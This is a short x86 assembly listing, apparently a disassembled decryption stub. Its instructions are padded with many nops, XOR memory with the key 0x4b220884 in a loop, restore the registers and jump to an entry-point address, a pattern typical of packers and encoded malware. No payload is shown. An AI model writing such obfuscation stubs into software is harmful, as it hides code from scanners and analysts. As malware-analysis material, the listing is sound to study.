nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4b220884
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
popal
nop
nop
nop
nop
jmp 0x401219